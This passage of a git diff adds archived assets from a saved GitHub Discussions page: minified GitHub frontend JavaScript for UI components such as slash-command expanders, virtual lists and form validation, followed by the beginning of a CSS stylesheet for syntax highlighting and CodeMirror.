`,this.input.value=n+u+i,this.deactivate(),this.input.focus(),r=n.length+(r||u.length),this.input.selectionStart=r,this.input.selectionEnd=r}replaceCursorMark(t){const e=/%cursor%/gm,n=e.exec(t);return n?{cursor:n.index,value:t.replace(e,"")}:{cursor:null,value:t}}async onCommit({target:t}){const e=t;if(!(e instanceof HTMLElement)||!this.combobox)return;const n=this.match;if(!n)return;const i={item:e,key:n.key,value:null},r=new CustomEvent("text-expander-value",{cancelable:!0,detail:i}),u=!this.expander.dispatchEvent(r),{onValue:g}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));await g(this.expander,n.key,e),!u&&i.value&&this.setValue(i.value)}onBlur(){if(this.interactingWithMenu){this.interactingWithMenu=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async delay(t){return new Promise(e=>setTimeout(e,t))}async onInput(){if(this.justPasted){this.justPasted=!1;return}const t=this.findMatch();if(t){if(this.match=t,await this.delay(this.appropriateDelay(this.match)),this.match!==t)return;const e=await this.notifyProviders(t);if(!this.match)return;e?this.activate(t,e):this.deactivate()}else this.match=null,this.deactivate()}appropriateDelay(t){return t.beginningOfLine||t.text!==""?0:250}findMatch(){const t=this.input.selectionEnd,e=this.input.value;for(const n of this.expander.keys){const i=$t(e,n,t);if(i)return{text:i.word,key:n,position:i.position,beginningOfLine:i.beginningOfLine}}}async notifyProviders(t){const e=[],n=a(x=>e.push(x),"provide"),i=new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:n,text:t.text,key:t.key}});if(!this.expander.dispatchEvent(i))return;const{onChange:u}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));return u(this.expander,t.key,n,t.text),(await Promise.all(e)).filter(x=>x.matched).map(x=>x.fragment)[0]}onMousedown(){this.interactingWithMenu=!0}onKeydown(t){t.key==="Escape"&&this.deactivate()&&(t.stopImmediatePropagation(),t.preventDefault())}}a(Bt,"SlashCommandExpander");class Mt extends HTMLElement{get keys(){const t=this.getAttribute("keys");return t?t.split(" "):[]}connectedCallback(){const t=this.querySelector('input[type="text"], textarea');if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const e=new Bt(this,t);at.set(this,e)}disconnectedCallback(){const t=at.get(this);!t||(t.destroy(),at.delete(this))}setValue(t){const e=at.get(this);!e||e.setValue(t)}setMenu(t,e=!1){const n=at.get(this);!n||!n.match||(e&&(n.interactingWithMenu=!0),n.setMenu(n.match,t))}closeMenu(){const t=at.get(this);!t||t.setValue("")}isLoading(){const t=this.getElementsByClassName("js-slash-command-expander-loading")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}showError(){const t=this.getElementsByClassName("js-slash-command-expander-error")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}}a(Mt,"SlashCommandExpanderElement"),window.customElements.get("slash-command-expander")||(window.SlashCommandExpanderElement=Mt,window.customElements.define("slash-command-expander",Mt));var Xt=Object.defineProperty,Qt=Object.getOwnPropertyDescriptor,_t=a((s,t,e,n)=>{for(var i=n>1?void 0:n?Qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Xt(t,e,i),i},"text_suggester_element_decorateClass");let pt=a(class extends HTMLElement{acceptSuggestion(){var s;((s=this.suggestion)==null?void 0:s.textContent)&&(this.input.value=this.suggestion.textContent,this.input.dispatchEvent(new Event("input")),this.suggestionContainer&&(this.suggestionContainer.hidden=!0),this.input.focus())}},"TextSuggesterElement");_t([l.fA],pt.prototype,"input",2),_t([l.fA],pt.prototype,"suggestionContainer",2),_t([l.fA],pt.prototype,"suggestion",2),pt=_t([l.Ih],pt);var Dt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_filter_input_element_accessCheck"),R=a((s,t,e)=>(Dt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_filter_input_element_privateGet"),ot=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_filter_input_element_privateAdd"),V=a((s,t,e,n)=>(Dt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_filter_input_element_privateSet"),gt,lt,ut,et,vt,K;function Jt(s){return Boolean(s instanceof Set||s&&typeof s=="object"&&"size"in s&&"add"in s&&"delete"in s&&"clear"in s)}a(Jt,"isSetAlike");class Tt extends HTMLElement{constructor(){super(...arguments);ot(this,gt,void 0),ot(this,lt,0),ot(this,ut,null),ot(this,et,void 0),ot(this,vt,new Set),ot(this,K,null),this.filter=(t,e)=>String(t).includes(e)}static get observedAttributes(){return["src","loading","data-property","aria-owns"]}get filtered(){if(R(this,K))return R(this,K);if(this.hasAttribute("aria-owns")){const t=this.ownerDocument.getElementById(this.getAttribute("aria-owns")||"");t&&Jt(t)&&V(this,K,t)}return R(this,K)||V(this,K,new Set)}set filtered(t){V(this,K,t)}get input(){return this.querySelector("input, textarea")}get src(){return this.getAttribute("src")||""}set src(t){this.setAttribute("src",t)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(t){this.setAttribute("loading",t)}get accept(){return this.getAttribute("accept")||""}set accept(t){this.setAttribute("accept",t)}get property(){return this.getAttribute("data-property")||""}set property(t){this.setAttribute("data-property",t)}reset(){this.filtered.clear(),V(this,vt,new Set)}clear(){!this.input||(this.input.value="",this.input.dispatchEvent(new Event("input")))}attributeChangedCallback(t,e,n){const i=this.isConnected&&this.src,r=this.loading==="eager",u=t==="src"||t==="loading"||t==="accept"||t==="data-property",g=t==="src"||t==="data-property",T=e!==n;g&&T&&(V(this,ut,null),R(this,et)&&clearTimeout(R(this,et))),i&&r&&u&&T?(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load()))):t==="aria-owns"&&V(this,K,null)}connectedCallback(){this.src&&this.loading==="eager"&&(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load())));const t=this.input;if(!t)return;const e=this.getAttribute("aria-owns");e!==null&&this.attributeChangedCallback("aria-owns","",e),t.setAttribute("autocomplete","off"),t.setAttribute("spellcheck","false"),this.src&&this.loading==="lazy"&&(document.activeElement===t?this.load():t.addEventListener("focus",()=>{this.load()},{once:!0})),t.addEventListener("input",this)}disconnectedCallback(){var t;(t=this.input)==null||t.removeEventListener("input",this)}handleEvent(t){var e,n;t.type==="input"&&(R(this,et)&&clearTimeout(R(this,et)),V(this,et,window.setTimeout(()=>this.filterItems(),((n=(e=this.input)==null?void 0:e.value)==null?void 0:n.length)||0<3?300:0)))}async load(){var t;(t=R(this,gt))==null||t.abort(),V(this,gt,new AbortController);const{signal:e}=R(this,gt);if(!this.src)throw new Error("missing src");if(await new Promise(n=>setTimeout(n,0)),!e.aborted){this.dispatchEvent(new Event("loadstart"));try{const n=await this.fetch(this.request(),{signal:e});if(location.origin+this.src!==n.url)return;if(!n.ok)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);V(this,vt,new Set((await n.json())[this.property])),V(this,ut,null),this.dispatchEvent(new Event("loadend"))}catch(n){if(e.aborted){this.dispatchEvent(new Event("loadend"));return}throw(async()=>(this.dispatchEvent(new Event("error")),this.dispatchEvent(new Event("loadend"))))(),n}this.filtered.clear(),this.filterItems()}}request(){return new Request(this.src,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"application/json"}})}fetch(t,e){return fetch(t,e)}filterItems(){var t,e;const n=(e=(t=this.input)==null?void 0:t.value.trim())!=null?e:"",i=R(this,ut);if(V(this,ut,n),n===i)return;this.dispatchEvent(new CustomEvent("virtual-filter-input-filter"));let r;i&&n.includes(i)?r=this.filtered:(r=R(this,vt),this.filtered.clear());for(const u of r)this.filter(u,n)?this.filtered.add(u):this.filtered.delete(u);this.dispatchEvent(new CustomEvent("virtual-filter-input-filtered"))}}a(Tt,"VirtualFilterInputElement"),gt=new WeakMap,lt=new WeakMap,ut=new WeakMap,et=new WeakMap,vt=new WeakMap,K=new WeakMap;const re=null;window.customElements.get("virtual-filter-input")||(window.VirtualFilterInputElement=Tt,window.customElements.define("virtual-filter-input",Tt));var Wt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_list_element_accessCheck"),v=a((s,t,e)=>(Wt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_list_element_privateGet"),nt=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_list_element_privateAdd"),Z=a((s,t,e,n)=>(Wt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_list_element_privateSet"),st,F,Q,$,Et,At,ct;class Pt extends HTMLElement{constructor(){super(...arguments);nt(this,st,!1),nt(this,F,new Set),nt(this,Q,new Map),nt(this,$,1/0),nt(this,Et,new Map),nt(this,At,new Map),nt(this,ct,0)}static get observedAttributes(){return["data-updating"]}get updating(){return this.getAttribute("data-updating")==="lazy"?"lazy":"eager"}set updating(t){this.setAttribute("data-updating",t)}get size(){return v(this,F).size}get range(){const t=this.getBoundingClientRect().height,{scrollTop:e}=this,n=`${e}-${t}`;if(v(this,Et).has(n))return v(this,Et).get(n);let i=0,r=0,u=0,g=0;const T=v(this,Q);for(const x of v(this,F)){const O=T.get(x)||v(this,$);if(u+O=t)break}return[i,r]}attributeChangedCallback(t,e,n){if(e===n||!this.isConnected)return;const i=t==="data-updating"&&n==="eager",r=t==="data-sorted"&&this.hasAttribute("data-sorted");(i||r)&&this.update()}connectedCallback(){this.addEventListener("scroll",()=>this.update()),this.updateSync=this.updateSync.bind(this)}update(){v(this,ct)&&cancelAnimationFrame(v(this,ct)),!v(this,st)&&this.hasAttribute("data-sorted")?Z(this,ct,requestAnimationFrame(()=>{this.dispatchEvent(new CustomEvent("virtual-list-sort",{cancelable:!0}))&&this.sort()})):Z(this,ct,requestAnimationFrame(this.updateSync))}renderItem(t){const e={item:t,fragment:document.createDocumentFragment()};return this.dispatchEvent(new CustomEvent("virtual-list-render-item",{detail:e})),e.fragment.children[0]}recalculateHeights(t){const e=this.querySelector("ul, ol, tbody");e&&(e.append(this.renderItem(t)),Z(this,$,e.children[0].getBoundingClientRect().height),v(this,Q).set(t,v(this,$)),e.replaceChildren())}updateSync(){const t=this.querySelector("ul, ol");if(!t)return;const[e,n]=this.range;if(nn){T=!1;break}let it=null;if(u.has(X))it=u.get(X);else{if(it=this.renderItem(X),!it)continue;u.set(X,it)}r.set(X,it)}t.replaceChildren(...r.values()),t.style.paddingTop=`${x}px`;const O=this.size*v(this,$);t.style.height=`${O||0}px`;let J=!1;const It=this.getBoundingClientRect().bottom;for(const[X,it]of r){const{height:ee,bottom:ne}=it.getBoundingClientRect();J=J||ne>=It,v(this,Q).set(X,ee)}if(!T&&this.size>r.size&&!J)return v(this,Et).delete(`${this.scrollTop}-${this.getBoundingClientRect().height}`),this.update();this.dispatchEvent(new CustomEvent("virtual-list-updated"))}has(t){return v(this,F).has(t)}add(t){return v(this,F).add(t),Z(this,st,!1),Number.isFinite(v(this,$))||this.recalculateHeights(t),this.updating==="eager"&&this.update(),this}delete(t){const e=v(this,F).delete(t);return Z(this,st,!1),v(this,Q).delete(t),this.updating==="eager"&&this.update(),e}clear(){v(this,F).clear(),v(this,Q).clear(),Z(this,$,1/0),Z(this,st,!0),this.updating==="eager"&&this.update()}forEach(t,e){for(const n of this)t.call(e,n,n,this)}entries(){return v(this,F).entries()}values(){return v(this,F).values()}keys(){return v(this,F).keys()}[Symbol.iterator](){return v(this,F)[Symbol.iterator]()}sort(t){return Z(this,F,new Set(Array.from(this).sort(t))),Z(this,st,!0),this.updating==="eager"&&this.update(),this}}a(Pt,"VirtualListElement"),st=new WeakMap,F=new WeakMap,Q=new WeakMap,$=new WeakMap,Et=new WeakMap,At=new WeakMap,ct=new WeakMap;const ae=null;window.customElements.get("virtual-list")||(window.VirtualListElement=Pt,window.customElements.define("virtual-list",Pt));var Yt=Object.defineProperty,te=Object.getOwnPropertyDescriptor,Ct=a((s,t,e,n)=>{for(var i=n>1?void 0:n?te(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Yt(t,e,i),i},"visible_password_element_decorateClass");let wt=a(class extends HTMLElement{show(){this.input.type="text",this.input.focus(),this.showButton.hidden=!0,this.hideButton.hidden=!1}hide(){this.input.type="password",this.input.focus(),this.hideButton.hidden=!0,this.showButton.hidden=!1}},"VisiblePasswordElement");Ct([l.fA],wt.prototype,"input",2),Ct([l.fA],wt.prototype,"showButton",2),Ct([l.fA],wt.prototype,"hideButton",2),wt=Ct([l.Ih],wt)},7679:(B,P,m)=>{m.d(P,{H:()=>y,v:()=>L});var b=m(59753);function L(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!1)}a(L,"showGlobalError");function y(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!0)}a(y,"hideGlobalError"),(0,b.on)("deprecatedAjaxError","[data-remote]",function(p){const E=p.detail,{error:I,text:D}=E;p.currentTarget===p.target&&(I==="abort"||I==="canceled"||(/{m.d(P,{G:()=>_});var b=m(45075),L=m(64463),y=m(59753);const p=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function E(d){const o=d.getAttribute("data-required-value"),h=d.getAttribute("data-required-value-prefix");if(d.value===o)d.setCustomValidity("");else{let f=o;h&&(f=h+f),d.setCustomValidity(f)}}a(E,"checkValidityForRequiredValueField"),(0,b.q6)("[data-required-value]",function(d){const o=d.currentTarget;E(o)}),(0,y.on)("change","[data-required-value]",function(d){const o=d.currentTarget;E(o),_(o.form)}),(0,b.q6)("[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity("")}),(0,y.on)("change","[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity(""),_(o.form)}),(0,b.ZG)(p,d=>{let o=d.checkValidity();function h(){const f=d.checkValidity();f!==o&&d.form&&_(d.form),o=f}a(h,"inputHandler"),d.addEventListener("input",h),d.addEventListener("blur",a(function f(){d.removeEventListener("input",h),d.removeEventListener("blur",f)},"blurHandler"))});const I=new WeakMap;function D(d){I.get(d)||(d.addEventListener("change",()=>_(d)),I.set(d,!0))}a(D,"installHandlers");function _(d){const o=d.checkValidity();for(const h of d.querySelectorAll("button[data-disable-invalid]"))h.disabled=!o}a(_,"validate"),(0,L.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const o=d.form;o&&(D(o),d.disabled=!o.checkValidity())}}),(0,L.N7)("input[data-required-change], textarea[data-required-change]",function(d){const o=d,h=o.type==="radio"&&o.form?o.form.elements.namedItem(o.name).value:null;function f(c){const l=o.form;if(c&&o.type==="radio"&&l&&h)for(const w of l.elements.namedItem(o.name))w instanceof HTMLInputElement&&w.setCustomValidity(o.value===h?"unchanged":"");else o.setCustomValidity(o.value===(h||o.defaultValue)?"unchanged":"")}a(f,"customValidity"),o.addEventListener("input",f),o.addEventListener("change",f),f(),o.form&&_(o.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const o=d.target;setTimeout(()=>_(o))}})},56238:(B,P,m)=>{m.d(P,{Bt:()=>E,DN:()=>_,KL:()=>h,Se:()=>D,qC:()=>f,sw:()=>d});var b=m(59753),L=m(2061),y=m(7679);(0,b.on)("click",".js-remote-submit-button",async function(c){const w=c.currentTarget.form;c.preventDefault();let C;try{C=await fetch(w.action,{method:w.method,body:new FormData(w),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}C&&!C.ok&&(0,y.v)()});function p(c,l,w){return c.dispatchEvent(new CustomEvent(l,{bubbles:!0,cancelable:w}))}a(p,"fire");function E(c,l){l&&(I(c,l),(0,L.j)(l)),p(c,"submit",!0)&&c.submit()}a(E,"requestSubmit");function I(c,l){if(!(c instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(l instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(l.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!c||c!==l.form)throw new Error("The specified element is not owned by the form element.")}a(I,"checkButtonValidity");function D(c,l){if(typeof l=="boolean")if(c instanceof HTMLInputElement)c.checked=l;else throw new TypeError("only checkboxes can be set to boolean value");else{if(c.type==="checkbox")throw new TypeError("checkbox can't be set to string value");c.value=l}p(c,"change",!1)}a(D,"changeValue");function _(c,l){for(const w in l){const C=l[w],A=c.elements.namedItem(w);(A instanceof HTMLInputElement||A instanceof HTMLTextAreaElement)&&(A.value=C)}}a(_,"fillFormValues");function d(c){if(!(c instanceof HTMLElement))return!1;const l=c.nodeName.toLowerCase(),w=(c.getAttribute("type")||"").toLowerCase();return l==="select"||l==="textarea"||l==="input"&&w!=="submit"&&w!=="reset"||c.isContentEditable}a(d,"isFormField");function o(c){return new URLSearchParams(c)}a(o,"searchParamsFromFormData");function h(c,l){const w=new URLSearchParams(c.search),C=o(l);for(const[A,W]of C)w.append(A,W);return w.toString()}a(h,"combineGetFormSearchParams");function f(c){return o(new FormData(c)).toString()}a(f,"serialize")},99254:(B,P,m)=>{m.d(P,{Z:()=>d});var b=m(47142);const L=a((o,h,f)=>{if(!(0,b.CD)(o,h))return-1/0;const c=(0,b.Gs)(o,h);return c{o.innerHTML="";let c=0;for(const l of(0,b.m7)(h,f)){f.slice(c,l)!==""&&o.appendChild(document.createTextNode(f.slice(c,l))),c=l+1;const C=document.createElement("mark");C.textContent=f[l],o.appendChild(C)}o.appendChild(document.createTextNode(f.slice(c)))},"highlightElement"),p=new WeakMap,E=new WeakMap,I=new WeakMap,D=a(o=>{if(!I.has(o)&&o instanceof HTMLElement){const h=(o.getAttribute("data-value")||o.textContent||"").trim();return I.set(o,h),h}return I.get(o)||""},"getTextCache");class _ extends HTMLElement{connectedCallback(){const h=this.querySelector("ul");if(!h)return;const f=new Set(h.querySelectorAll("li")),c=this.querySelector("input");c instanceof HTMLInputElement&&c.addEventListener("input",()=>{this.value=c.value});const l=new MutationObserver(C=>{let A=!1;for(const W of C)if(W.type==="childList"&&W.addedNodes.length){for(const q of W.addedNodes)if(q instanceof HTMLLIElement&&!f.has(q)){const z=D(q);A=A||(0,b.CD)(this.value,z),f.add(q)}}A&&this.sort()});l.observe(h,{childList:!0});const w={handler:l,items:f,lazyItems:new Map,timer:null};E.set(this,w)}disconnectedCallback(){const h=E.get(this);h&&(h.handler.disconnect(),E.delete(this))}addLazyItems(h,f){const c=E.get(this);if(!c)return;const{lazyItems:l}=c,{value:w}=this;let C=!1;for(const A of h)l.set(A,f),C=C||Boolean(w)&&(0,b.CD)(w,A);C&&this.sort()}sort(){const h=p.get(this);h&&(h.aborted=!0);const f={aborted:!1};p.set(this,f);const{minScore:c,markSelector:l,maxMatches:w,value:C}=this,A=E.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:C})))return;const{items:W,lazyItems:q}=A,z=this.hasAttribute("mark-selector"),U=this.querySelector("ul");if(!U)return;const k=[];if(C){for(const M of W){const S=D(M),H=L(C,S,c);H!==-1/0&&k.push({item:M,score:H})}for(const[M,S]of q){const H=L(C,M,c);H!==-1/0&&k.push({text:M,render:S,score:H})}k.sort((M,S)=>S.score-M.score).splice(w)}else{let M=k.length;for(const S of W){if(M>=w)break;k.push({item:S,score:1}),M+=1}for(const[S,H]of q){if(M>=w)break;k.push({text:S,render:H,score:1}),M+=1}}requestAnimationFrame(()=>{if(f.aborted)return;const M=U.querySelector('input[type="radio"]:checked');U.innerHTML="";let S=0;const H=a(()=>{if(f.aborted)return;const G=Math.min(k.length,S+100),dt=document.createDocumentFragment();for(let j=S;j0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:k.length}))}},"nextBatch");H()})}get value(){return this.getAttribute("value")||""}set value(h){this.setAttribute("value",h)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(h){h?this.setAttribute("mark-selector",h):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(h){Number.isNaN(h)||this.setAttribute("min-score",String(h))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(h){Number.isNaN(h)||this.setAttribute("max-matches",String(h))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(h,f,c){if(f===c)return;const l=E.get(this);!l||(l.timer&&window.clearTimeout(l.timer),l.timer=window.setTimeout(()=>this.sort(),100))}}a(_,"FuzzyListElement");const d=_;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=_,window.customElements.define("fuzzy-list",_))},45075:(B,P,m)=>{m.d(P,{ZG:()=>E,q6:()=>D,w4:()=>I});var b=m(8439);let L=!1;const y=new b.Z;function p(_){const d=_.target;if(d instanceof HTMLElement&&d.nodeType!==Node.DOCUMENT_NODE)for(const o of y.matches(d))o.data.call(null,d)}a(p,"handleFocus");function E(_,d){L||(L=!0,document.addEventListener("focus",p,!0)),y.add(_,d),document.activeElement instanceof HTMLElement&&document.activeElement.matches(_)&&d(document.activeElement)}a(E,"onFocus");function I(_,d,o){function h(f){const c=f.currentTarget;!c||(c.removeEventListener(_,o),c.removeEventListener("blur",h))}a(h,"blurHandler"),E(d,function(f){f.addEventListener(_,o),f.addEventListener("blur",h)})}a(I,"onKey");function D(_,d){function o(h){const{currentTarget:f}=h;!f||(f.removeEventListener("input",d),f.removeEventListener("blur",o))}a(o,"blurHandler"),E(_,function(h){h.addEventListener("input",d),h.addEventListener("blur",o)})}a(D,"onInput")},12981:(B,P,m)=>{m.d(P,{r:()=>b});function b(L,y){const p=L.createElement("template");return p.innerHTML=y,L.importNode(p.content,!0)}a(b,"parseHTML")},37211:(B,P,m)=>{m.d(P,{X:()=>L});var b=m(64463);function L(){return/Windows/.test(navigator.userAgent)?"windows":/Macintosh/.test(navigator.userAgent)?"mac":null}a(L,"getPlatform");function y(p){const E=(p.getAttribute("data-platforms")||"").split(","),I=L();return Boolean(I&&E.includes(I))}a(y,"runningOnPlatform"),(0,b.N7)(".js-remove-unless-platform",function(p){y(p)||p.remove()})},2061:(B,P,m)=>{m.d(P,{j:()=>b,u:()=>L});function b(y){const p=y.closest("form");if(!(p instanceof HTMLFormElement))return;let E=L(p);if(y.name){const I=y.matches("input[type=submit]")?"Submit":"",D=y.value||I;E||(E=document.createElement("input"),E.type="hidden",E.classList.add("is-submit-button-value"),p.prepend(E)),E.name=y.name,E.value=D}else E&&E.remove()}a(b,"persistSubmitButtonValue");function L(y){const p=y.querySelector("input.is-submit-button-value");return p instanceof HTMLInputElement?p:null}a(L,"findPersistedSubmitButtonValue")}},B=>{var P=a(b=>B(B.s=b),"__webpack_exec__");B.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js","vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],()=>P(47486));var m=B.O()}]);})(); + +//# sourceMappingURL=github-elements-1649ccafecd9.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css new file mode 100644 index 0000000..2192c7e --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css @@ -0,0 +1,11 @@ +.color-border-inverse{border-color:var(--color-fg-on-emphasis) !important}.bg-gray-2,.bg-gray-3{background-color:var(--color-neutral-muted) !important}.color-text-white{color:var(--color-scale-white) !important}.border-white-fade{border-color:rgba(255,255,255,.15) !important}.lead{color:var(--color-fg-muted)}.text-emphasized{color:var(--color-fg-default)}.Label.Label--orange{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label.Label--purple{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label.Label--pink{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}/*! + * GitHub Light v0.5.0 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.pl-c{color:var(--color-prettylights-syntax-comment)}.pl-c1,.pl-s .pl-v{color:var(--color-prettylights-syntax-constant)}.pl-e,.pl-en{color:var(--color-prettylights-syntax-entity)}.pl-smi,.pl-s .pl-s1{color:var(--color-prettylights-syntax-storage-modifier-import)}.pl-ent{color:var(--color-prettylights-syntax-entity-tag)}.pl-k{color:var(--color-prettylights-syntax-keyword)}.pl-s,.pl-pds,.pl-s .pl-pse .pl-s1,.pl-sr,.pl-sr .pl-cce,.pl-sr .pl-sre,.pl-sr .pl-sra{color:var(--color-prettylights-syntax-string)}.pl-v,.pl-smw{color:var(--color-prettylights-syntax-variable)}.pl-bu{color:var(--color-prettylights-syntax-brackethighlighter-unmatched)}.pl-ii{color:var(--color-prettylights-syntax-invalid-illegal-text);background-color:var(--color-prettylights-syntax-invalid-illegal-bg)}.pl-c2{color:var(--color-prettylights-syntax-carriage-return-text);background-color:var(--color-prettylights-syntax-carriage-return-bg)}.pl-c2::before{content:"^M"}.pl-sr .pl-cce{font-weight:bold;color:var(--color-prettylights-syntax-string-regexp)}.pl-ml{color:var(--color-prettylights-syntax-markup-list)}.pl-mh,.pl-mh .pl-en,.pl-ms{font-weight:bold;color:var(--color-prettylights-syntax-markup-heading)}.pl-mi{font-style:italic;color:var(--color-prettylights-syntax-markup-italic)}.pl-mb{font-weight:bold;color:var(--color-prettylights-syntax-markup-bold)}.pl-md{color:var(--color-prettylights-syntax-markup-deleted-text);background-color:var(--color-prettylights-syntax-markup-deleted-bg)}.pl-mi1{color:var(--color-prettylights-syntax-markup-inserted-text);background-color:var(--color-prettylights-syntax-markup-inserted-bg)}.pl-mc{color:var(--color-prettylights-syntax-markup-changed-text);background-color:var(--color-prettylights-syntax-markup-changed-bg)}.pl-mi2{color:var(--color-prettylights-syntax-markup-ignored-text);background-color:var(--color-prettylights-syntax-markup-ignored-bg)}.pl-mdr{font-weight:bold;color:var(--color-prettylights-syntax-meta-diff-range)}.pl-ba{color:var(--color-prettylights-syntax-brackethighlighter-angle)}.pl-sg{color:var(--color-prettylights-syntax-sublimelinter-gutter-mark)}.pl-corl{text-decoration:underline;color:var(--color-prettylights-syntax-constant-other-reference-link)}.CodeMirror{font-family:monospace;height:300px;color:black;direction:ltr}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:white}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:black}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid black;border-right:none;width:0}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0 !important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor-mark{background-color:rgba(20, 255, 20, 0.5);animation:blink 1.06s steps(1) infinite}.cm-animate-fat-cursor{width:auto;border:0;animation:blink 1.06s steps(1) infinite;background-color:#7e7}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;left:0;right:0;top:-50px;bottom:0;overflow:hidden}.CodeMirror-ruler{border-left:1px solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default .cm-header{color:blue}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:bold}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:blue}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3,.cm-s-default .cm-type{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta{color:#555}.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error{color:red}.cm-invalidchar{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0b0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#a22}.CodeMirror-matchingtag{background:rgba(255, 150, 0, 0.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:white}.CodeMirror-scroll{overflow:scroll !important;margin-bottom:-50px;margin-right:-50px;padding-bottom:50px;height:100%;outline:none;position:relative}.CodeMirror-sizer{position:relative;border-right:50px solid 